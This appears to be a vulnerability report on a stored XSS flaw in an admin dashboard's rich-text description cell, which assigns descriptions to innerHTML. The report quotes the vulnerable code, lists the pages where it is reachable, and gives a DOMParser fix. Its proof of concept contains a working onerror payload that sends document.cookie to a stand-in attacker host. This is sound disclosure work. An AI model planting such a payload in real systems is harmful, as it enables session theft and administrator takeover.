Stored XSS in the Admin Dashboard via unsafe HTML-stripping (innerHTML) of entity descriptions

Summary

Vulnerable code

export const RichTextDescriptionCell: DataTableCellComponent<{ description: string }> = ({ cell }) => {
  const value = cell.getValue();
  const textContent = useMemo(() => {
    if (!value) return '';
    const div = document.createElement('div');
    div.innerHTML = value;     // line 51 — parses/loads active markup; <img onerror> fires here
    return div.textContent ?? '';  // line 52 — reading textContent does NOT undo the side effect
  }, [value]);
  ...
}

Reachable from (all use this cell for the description column)

• products/products.tsx:53, collections/collections.tsx, promotions/promotions.tsx:62, payment-methods/payment-methods.tsx:57, shipping-methods/shipping-methods.tsx:39.

Proof of concept

1. As an administrator with UpdateCatalog/UpdateProduct (e.g. a channel-scoped admin), set a Product's description to: <img src=x onerror="fetch('https://attacker.example/'+encodeURIComponent(document.cookie))">
2. Any administrator who opens the Products list in the dashboard renders RichTextDescriptionCell for that row → div.innerHTML = description → the onerror executes in their session.
3. Payload runs with the viewing admin's privileges (e.g. a superadmin) → session/token exfiltration or admin actions → cross-privilege / cross-channel admin takeover (chains directly with the channel-scoping IDOR class already reported).

Impact

Suggested fix

// inert: DOMParser documents do not execute scripts or load resources
const textContent = new DOMParser().parseFromString(value ?? '', 'text/html').body.textContent ?? '';